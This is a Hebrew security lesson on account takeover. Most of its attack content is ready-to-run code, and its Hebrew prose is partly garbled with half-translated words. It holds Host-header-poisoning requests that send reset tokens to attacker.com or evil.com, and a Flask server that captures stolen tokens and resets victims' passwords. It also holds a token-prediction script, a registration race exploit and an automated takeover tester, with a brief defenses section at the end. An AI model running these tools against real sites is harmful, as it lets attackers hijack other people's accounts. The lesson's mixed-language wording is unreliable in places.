השתלטות על חשבונות - Account Takeover¶
מבוא¶
השתלטות על חשבון (Account Takeover - ATO) היא אחת החולשות הקריטיות ביותר באפליקציות ווב. היא מאפשרת לתוקף לקבל שליטה מלאה על חשבון של משתמש אחר, כולל גישה למידע רגיש, ביצוע פעולות בשם המשתמש, וגניבת נתונים. בשיעור זה נסקור את הטכניקות המרכזיות להשתלטות על חשבונות ואת דרכי ההגנה.
מתודולוגיה כללית¶
משטחי התקיפה¶
1. Password reset process (Password Reset)
- Host header poisoning
- Reset token prediction
- Token leakage
2. Registration process (Registration)
- Race conditions (race condition)
- Duplicate accounts
- Email verification bypass
3. Account linking (Account Linking)
- Social Login exploitation
- Linked account hijacking
4. Account recovery process (Account Recovery)
- Weak security questions
- Recovery channel exploitation
5. Exploiting leaked information
- Credential stuffing
- Phone number recycling
תקיפה 1: הpoisoning Host Header באיפוס סיסמה - Password Reset Poisoning¶
הרקע¶
כאשר משתמש מבקש איפוס סיסמה, השרת שולח מייל עם לינק איפוס. אם השרת משתמש ב-Host header כדי לבנות את הלינק, תוקף יכול להחליף אותו בדומיין שלו.
תרחיש תקיפה¶
# Normal password reset request
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=victim@email.com
# Email sent to the victim:
# "Click here to reset your password: https://target.com/reset?token=abc123"
# Reset request with a poisoned Host header
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@email.com
# Email sent to the victim:
# "Click here to reset your password: https://attacker.com/reset?token=abc123"
# When the victim clicks -> the token is sent to the attacker!
וריאציות של poisoning Host¶
# Method 1: Change Host header
Host: attacker.com
# Method 2: Add X-Forwarded-Host
Host: target.com
X-Forwarded-Host: attacker.com
# Method 3: Add X-Host
Host: target.com
X-Host: attacker.com
# Method 4: Add X-Forwarded-Server
Host: target.com
X-Forwarded-Server: attacker.com
# Method 5: Host header with port
Host: target.com:@attacker.com
# Method 6: Two Host headers
Host: target.com
Host: attacker.com
# Method 7: Absolute URL
POST https://target.com/forgot-password HTTP/1.1
Host: attacker.com
# Method 8: Additional override headers
X-Original-URL: https://attacker.com/reset
X-Rewrite-URL: https://attacker.com/reset
X-Forwarded-Scheme: https
X-Forwarded-Proto: https
קוד לקליטת טוקנים¶
from flask import Flask, request
app = Flask(__name__)
@app.route('/reset', methods=['GET'])
def capture_reset_token():
"""Capture password reset tokens"""
token = request.args.get('token', '')
if token:
print(f"[+] Reset token captured: {token}")
with open('captured_tokens.txt', 'a') as f:
f.write(f"Token: {token}\n")
f.write(f"IP: {request.remote_addr}\n")
f.write(f"User-Agent: {request.user_agent}\n")
f.write(f"Referer: {request.referrer}\n")
f.write("---\n")
# Use the token to reset the password
import requests
resp = requests.post(
'https://target.com/reset-password',
data={
'token': token,
'new_password': 'hacked123!',
'confirm_password': 'hacked123!'
}
)
if resp.status_code == 200:
print("[+] Password changed successfully!")
return '<h1>404 Not Found</h1>', 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
תקיפה 2: חיזוי טוקן איפוס - Password Reset Token Prediction¶
הרקע¶
טוקני איפוס חייבים להיות אקראיים לחלוטין. כאשר הם מבוססים על זמן, מספרים סדרתיים, או אלגוריתמים חלשים, ניתן לחזות אותם.
דפוסים חלשים נפוצים¶
# Weak pattern 1: token based on timestamp
import time
token = str(int(time.time()))
# 1699000000 - easy to guess
# Weak pattern 2: MD5 of timestamp
import hashlib
token = hashlib.md5(str(time.time()).encode()).hexdigest()
# Can be reconstructed if the approximate time is known
# Weak pattern 3: UUID v1 (time-based)
import uuid
token = str(uuid.uuid1())
# Contains a timestamp and MAC address
# Weak pattern 4: sequential numbers
# token_1001, token_1002, token_1003...
# Weak pattern 5: Base64 of known information
import base64
token = base64.b64encode(f"{user_id}:{timestamp}".encode()).decode()
סקריפט ניתוח טוקנים¶
#!/usr/bin/env python3
"""
Analyze patterns in password reset tokens
"""
import requests
import time
import hashlib
import base64
import statistics
class TokenAnalyzer:
def __init__(self, target_url, email):
self.target_url = target_url
self.email = email
self.tokens = []
self.timestamps = []
def collect_tokens(self, count=20):
"""Collect a number of tokens for analysis"""
print(f"[*] Collecting {count} tokens...")
for i in range(count):
timestamp = time.time()
resp = requests.post(self.target_url, data={
'email': self.email
})
# Usually the token needs to be extracted from an email
# Here we assume there's an API that returns it
token = self._extract_token(resp)
if token:
self.tokens.append(token)
self.timestamps.append(timestamp)
print(f" [{i+1}] {token}")
time.sleep(1)
def _extract_token(self, response):
"""Extract a token from the response (needs to be adapted per app)"""
# Check whether the token is returned in the response (for demo purposes)
import re
match = re.search(r'token=([a-zA-Z0-9]+)', response.text)
return match.group(1) if match else None
def analyze_pattern(self):
"""Analyze patterns in the tokens"""
print("\n[*] Analyzing patterns:")
# Fixed length?
lengths = [len(t) for t in self.tokens]
print(f" Lengths: {set(lengths)}")
# Attempt Base64 decode
for token in self.tokens[:3]:
try:
decoded = base64.b64decode(token + '==')
print(f" Base64 decode: {decoded}")
except Exception:
pass
# Attempt hex decode
for token in self.tokens[:3]:
try:
decoded = bytes.fromhex(token)
print(f" Hex decode: {decoded}")
except Exception:
pass
# Check correlation with timestamp
self._check_timestamp_correlation()
# Check entropy
self._check_entropy()
# Check sequentiality
self._check_sequential()
def _check_timestamp_correlation(self):
"""Check whether the tokens are related to timestamp"""
print("\n Checking correlation with time:")
for i, (token, ts) in enumerate(zip(self.tokens[:5], self.timestamps[:5])):
ts_int = int(ts)
# Check MD5 of timestamp
md5_check = hashlib.md5(str(ts_int).encode()).hexdigest()
if token == md5_check:
print(f" [+] Token {i} = MD5(timestamp)!")
# Check SHA256
sha_check = hashlib.sha256(str(ts_int).encode()).hexdigest()
if token == sha_check:
print(f" [+] Token {i} = SHA256(timestamp)!")
# Check whether the token contains the timestamp
if str(ts_int) in token:
print(f" [+] Token {i} contains timestamp!")
def _check_entropy(self):
"""Check the entropy of the tokens"""
print("\n Checking entropy:")
charset = set()
for token in self.tokens:
charset.update(token)
print(f" Unique characters: {len(charset)}")
print(f" Characters: {''.join(sorted(charset))}")
if len(charset) <= 16:
print(" [!] Low entropy - possibly hex only")
elif len(charset) <= 36:
print(" [!] Medium entropy - possibly alphanumeric lowercase")
def _check_sequential(self):
"""Check whether the tokens are sequential"""
print("\n Checking sequentiality:")
try:
numeric_tokens = [int(t) for t in self.tokens]
diffs = [numeric_tokens[i+1] - numeric_tokens[i]
for i in range(len(numeric_tokens)-1)]
if len(set(diffs)) == 1:
print(f" [+] Sequential tokens! Constant difference: {diffs[0]}")
elif statistics.stdev(diffs) < 10:
print(f" [!] Near-sequential tokens. Differences: {diffs}")
except (ValueError, statistics.StatisticsError):
print(" Tokens are not numeric")
def predict_next(self):
"""Attempt to predict the next token"""
print("\n[*] Prediction attempt:")
# Timestamp-based prediction
predicted_time = int(time.time())
predictions = []
for offset in range(-5, 6):
ts = predicted_time + offset
predictions.append(hashlib.md5(str(ts).encode()).hexdigest())
predictions.append(hashlib.sha256(str(ts).encode()).hexdigest()[:32])
predictions.append(str(ts))
return predictions
if __name__ == "__main__":
analyzer = TokenAnalyzer(
"https://target.com/forgot-password",
"test@test.com"
)
analyzer.collect_tokens(10)
analyzer.analyze_pattern()
תקיפה 3: הbypass אימות דואר אלקטרוני - Email Verification Bypass¶
טכניקות¶
# Technique 1: Change email after verification
# 1. Sign up with attacker@evil.com
# 2. Verify the email
# 3. Change the email to victim@target.com without re-verification
POST /update-profile HTTP/1.1
Content-Type: application/json
{"email": "victim@target.com"}
# Technique 2: Registration without email verification
# Check whether functions can be accessed without verification
GET /api/user/profile HTTP/1.1
Cookie: session=UNVERIFIED_SESSION
# If 200 OK -> email verification can be skipped
# Technique 3: Verification link manipulation
# Original link:
https://target.com/verify?token=abc123&email=attacker@evil.com
# Attempt to change the email in the link:
https://target.com/verify?token=abc123&email=victim@target.com
# Technique 4: Verification with any token
# Check whether the token is tied to a specific user
# 1. Request verification for attacker@evil.com -> receive token_A
# 2. Try using token_A to verify victim@target.com
POST /verify-email HTTP/1.1
{"token": "token_A", "email": "victim@target.com"}
תקיפה 4: הrace תהליכים בהרשמה - Registration Race Conditions¶
הרקע¶
כאשר שני בקשות הרשמה עם אותו מייל מגיעות בו-זמנית, ייתכן שהשרת ייצור שני חשבונות עבור אותו מייל.
הexploit¶
import threading
import requests
def registration_race_condition(target_url, email):
"""Exploit a race condition in registration"""
results = []
def register(password):
resp = requests.post(target_url, json={
'email': email,
'password': password,
'name': 'Test User'
})
results.append({
'password': password,
'status': resp.status_code,
'body': resp.text[:200]
})
# Send registration requests in parallel
# One with the attacker's password, one "as if" the victim's
threads = []
for i in range(10):
t = threading.Thread(
target=register,
args=(f"attacker_pass_{i}",)
)
threads.append(t)
# Start simultaneously
for t in threads:
t.start()
for t in threads:
t.join()
# Check results
successes = [r for r in results if r['status'] == 200 or r['status'] == 201]
print(f"[*] Successful registrations: {len(successes)}")
if len(successes) > 1:
print("[+] Found a race condition - multiple accounts created!")
return results
תרחיש מתקדם¶
1. The victim is already registered with victim@email.com
2. The attacker sends a registration with victim@email.com in parallel with an email-change action
3. If the race condition succeeds, a new account is created with the victim's email
4. The attacker logs in with the password he set
תקיפה 5: הexploit קישור חשבונות - Linked Account Abuse¶
הרקע¶
כאשר אפליקציה מאפשרת Social Login (התחברות עם Google/Facebook/GitHub), ניתן לנצל חולשות בתהליך הקישור.
תרחיש 1: קישור חשבון ללא אימות¶
# The victim is logged in with a password
# The attacker manages to run the following request as the victim (CSRF)
POST /link-social-account HTTP/1.1
Cookie: victim_session
Content-Type: application/json
{
"provider": "google",
"social_id": "attacker_google_id",
"email": "attacker@gmail.com"
}
# Now the attacker can log in with his Google account to the victim's account
תרחיש 2: Pre-account Takeover¶
1. The attacker creates an account in the app with victim@email.com
(without email verification, or with verification that can be bypassed)
2. The attacker links his social account to this account
3. The victim registers later with victim@email.com
The app recognizes the account exists and merges
4. The attacker logs in with the social login and gains access to the victim's account
תקיפה 6: הexploit תהליך שחזור חשבון - Account Recovery Exploitation¶
שאלות אבטחה חלשות¶
Questions whose answers can be found on social networks:
- What is the name of your school? (LinkedIn)
- What is your pet's name? (Instagram)
- What city were you born in? (Facebook)
- What is your mother's maiden name? (genealogy databases)
OSINT לאיסוף מידע¶
# Gather information from social networks for security questions
# (for demonstration purposes only)
import requests
def gather_osint(target_name):
"""Gather public information about the target"""
info = {
'name': target_name,
'possible_answers': {}
}
# Search social networks
# LinkedIn - professional info
# Facebook - personal info
# Instagram - pets, travel
print(f"[*] Gathering information on: {target_name}")
print("[*] Check manually:")
print(" - LinkedIn: professional info, schools")
print(" - Facebook: city of residence, family members")
print(" - Instagram: pets, hobbies")
print(" - Twitter/X: opinions, preferences")
return info
תקיפה 7: מיחזור מספרי טלפון - Phone Number Recycling¶
הרקע¶
מספרי טלפון ממוחזרים על ידי חברות סלולר. אם חשבון מאובטח עם SMS 2FA או שחזור באמצעות SMS, בעל המספר החדש מקבל גישה.
תרחיש¶
1. The victim changes phone number and doesn't update the app
2. The carrier assigns the number to a new user (the attacker)
3. The attacker requests a password reset via SMS
4. The verification code arrives at the attacker's phone
5. The attacker resets the password and takes over the account
דוגמאות בקשות HTTP - Host Header Poisoning¶
בדיקה שיטתית¶
# Test 1: Direct Host header
POST /forgot-password HTTP/1.1
Host: evil.com
email=victim@target.com
---
# Test 2: X-Forwarded-Host
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
email=victim@target.com
---
# Test 3: Overriding Referer
POST /forgot-password HTTP/1.1
Host: target.com
Referer: https://evil.com
email=victim@target.com
---
# Test 4: Absolute address with a different Host
POST https://target.com/forgot-password HTTP/1.1
Host: evil.com
email=victim@target.com
---
# Test 5: Host with a special port
POST /forgot-password HTTP/1.1
Host: target.com:evil.com
email=victim@target.com
---
# Test 6: Using Dangling Markup
# If the link is embedded in the email's HTML
POST /forgot-password HTTP/1.1
Host: target.com:'<a href="https://evil.com/?
email=victim@target.com
סקריפט תקיפה מקיף¶
#!/usr/bin/env python3
"""
Account takeover testing script
"""
import requests
import time
import threading
from urllib.parse import urljoin
class AccountTakeoverTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def test_host_header_poisoning(self, email, attacker_domain):
"""Test Host header poisoning"""
print("[*] Testing Host header poisoning...")
headers_to_test = [
{'Host': attacker_domain},
{'Host': self.base_url.split('//')[1].split('/')[0],
'X-Forwarded-Host': attacker_domain},
{'Host': self.base_url.split('//')[1].split('/')[0],
'X-Host': attacker_domain},
{'Host': self.base_url.split('//')[1].split('/')[0],
'X-Forwarded-Server': attacker_domain},
{'Host': self.base_url.split('//')[1].split('/')[0],
'X-Original-Host': attacker_domain},
{'Host': self.base_url.split('//')[1].split('/')[0],
'Forwarded': f'host={attacker_domain}'},
]
for i, headers in enumerate(headers_to_test):
resp = self.session.post(
urljoin(self.base_url, '/forgot-password'),
data={'email': email},
headers=headers,
allow_redirects=False
)
if resp.status_code == 200:
print(f" [+] Test {i+1}: request accepted ({resp.status_code})")
print(f" Check whether the email contains a link with {attacker_domain}")
else:
print(f" [-] Test {i+1}: rejected ({resp.status_code})")
def test_token_prediction(self, email, count=5):
"""Test reset token prediction"""
print(f"\n[*] Collecting {count} tokens for analysis...")
tokens = []
for i in range(count):
before = time.time()
resp = self.session.post(
urljoin(self.base_url, '/forgot-password'),
data={'email': email}
)
after = time.time()
tokens.append({
'time_before': before,
'time_after': after,
'response': resp.text[:500]
})
time.sleep(2)
print(" Tokens collected. Perform manual analysis or use TokenAnalyzer")
return tokens
def test_registration_race(self, email, password):
"""Test a race condition in registration"""
print(f"\n[*] Testing race condition in registration with {email}...")
results = []
def register():
resp = self.session.post(
urljoin(self.base_url, '/register'),
json={
'email': email,
'password': password,
'name': 'Test'
}
)
results.append(resp.status_code)
threads = [threading.Thread(target=register) for _ in range(10)]
for t in threads:
t.start()
for t in threads:
t.join()
successes = results.count(200) + results.count(201)
print(f" Successes: {successes}/{len(results)}")
if successes > 1:
print(" [+] Race condition - duplicate accounts created!")
def test_email_change_without_verification(self):
"""Test email change without verification"""
print("\n[*] Testing email change without re-verification...")
resp = self.session.post(
urljoin(self.base_url, '/update-email'),
json={'email': 'new_email@test.com'}
)
if resp.status_code == 200:
print(" [+] Email changed without verification!")
else:
print(f" [-] Rejected: {resp.status_code}")
def run_all(self, email, attacker_domain):
"""Run all tests"""
print(f"{'='*60}")
print(f"[*] Testing Account Takeover for {self.base_url}")
print(f"{'='*60}")
self.test_host_header_poisoning(email, attacker_domain)
self.test_token_prediction(email)
print(f"\n{'='*60}")
print("[*] Testing complete")
if __name__ == "__main__":
tester = AccountTakeoverTester("https://target.com")
tester.run_all("victim@email.com", "attacker.com")
הגנות - Defenses¶
1. יצירת טוקני איפוס מאובטחים¶
import secrets
def generate_reset_token():
"""Create a secure reset token"""
# 256 bits of entropy
return secrets.token_urlsafe(32)
# Do not use:
# - time.time()
# - uuid.uuid1()
# - random.randint()
# - hashlib.md5(email)
2. אימות Host header¶
ALLOWED_HOSTS = ['www.myapp.com', 'myapp.com']
def validate_host(request):
host = request.headers.get('Host', '')
if host not in ALLOWED_HOSTS:
raise ValueError("Host header not allowed")
3. בניית URLs מאובטחת¶
# Wrong - using Host header
reset_url = f"https://{request.host}/reset?token={token}"
# Correct - use a predefined value
from config import BASE_URL # "https://www.myapp.com"
reset_url = f"{BASE_URL}/reset?token={token}"
4. הגנות נוספות¶
- Reset tokens should expire within 30 minutes
- Token is deleted immediately after use
- Limit reset requests (3 per hour)
- Send a notification about the reset attempt
- Re-verify email after an address change
- Use Referrer-Policy: no-referrer
- Rate limit protection on registration
- Atomic duplicate check (atomic check) in registration
סיכום¶
השתלטות על חשבונות היא קטגוריה רחבה שמשלבת מגוון טכניקות. הנקודות העיקריות:
- הpoisoning Host header באיפוס סיסמה היא חולשה נפוצה וקלה לexploit
- טוקני איפוס חייבים להיות אקראיים לחלוטין עם אנטרופיה גבוהה
- הrace תהליכים בהרשמה יכול ליצור חשבונות כפולים
- קישור חשבונות חברתיים דורש הגנת CSRF ואימות מלא
- ההגנה הטובה ביותר משלבת טוקנים חזקים, URLs קבועים, והגבלת קצב